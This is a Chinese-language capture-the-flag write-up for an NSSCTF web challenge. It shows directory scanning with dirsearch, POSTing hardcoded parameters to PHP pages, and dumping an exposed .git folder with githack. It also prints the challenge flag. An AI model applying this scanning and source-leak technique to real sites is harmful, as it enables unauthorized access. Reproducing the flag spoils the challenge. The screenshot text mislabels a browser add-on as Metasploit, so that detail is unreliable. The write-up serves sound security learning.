

# where i am?

1.直接dirsearch目录扫描

```
[15:43:39] Scanning:
[15:43:46] 200 - 1KB - /admin.php
[15:43:53] 200 - 11B - /index.html
[15:43:58] 200 - 46B - /robots.txt
[15:43:58] 403 - 288B - /server-status/
[15:43:58] 403 - 288B - /server-status
```

2.先访问admin.php , post传参adm1n=ok!即可获得第一部分flag

The screenshot shows a browser window with a PHP script source code and a Metasploit interface.

**PHP Script:**

```
<?php
error_reporting(0);
highlight_file(__FILE__);
if ($_POST['adm1n'] === 'ok!') {
    echo substr(getenv('FLAG'), 0, 22);
}
NSSCTF{6f8e4234-5d35-4
```

**Metasploit Interface:**

- Toolbar: 查看器, 控制台, 调试器, 网络, 样式编辑器, 性能, 内存, 存储
- Menu Bar: LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI
- URL: http://node4.anna.nssctf.cn:28577/admin.php
- Form Fields:
  - Method: POST (selected)
  - enctype: application/x-www-form-urlencoded
  - Body: adm1n=ok!

3.访问robots.txt , 有一个不同意的目录，我们直接访问，得到提示应该是git泄露

```
User-agent: *
Disallow: /you_never_know_this/
```

我们使用了git来管理版本

LOAD ▾ SPLIT EXECUTE TEST ▾ SQLI ▾ XSS ▾ LFI

URL  
http://node4.anna.nssctf.cn:28577/you\_never\_know\_this/

4. 使用githack把.git目录的文件全部下载好

```
• ► sudo githack -u http://node4.anna.nssctf.cn:28577/you_never_know_this/.git
[+] Download and parse index file ...
[+] index.html
[+] pass.php
[OK] pass.php
[OK] index.html
```

5. 访问可以看到除了index.html还有pass.php

```
• ► cd node4.anna.nssctf.cn_28577/
⌚ 0s ~ 📂 /usr/share/githack/node4.a
• ► ls
📄 index.html ➔ pass.php
```

6. 查看pass.php内容

```
• ► cat pass.php
<?php
error_reporting(0);
if ($_POST['secr3t'] === 'hhhhha') {
    echo substr(getenv('FLAG'), 22);
}
```

7. 回到浏览器访问post传参secr3t=hhhhha即可获得flag最后一部分

f61-b682-fe797b968b1f}

| 查看器 | 控制台 | 调试器 | 网络 | 样式编辑器 | 性能 | 内存 | 存储 |

LOAD ▾ SPLIT EXECUTE TEST ▾ SQLI ▾ XSS ▾ LFI ▾ SS

URL

[http://node4.anna.nssctf.cn:28577/you\\_never\\_know\\_this/pass.php](http://node4.anna.nssctf.cn:28577/you_never_know_this/pass.php)

Use POST method

enctype  
application/x-www-form-urlencoded

Body

secr3t=hhhhha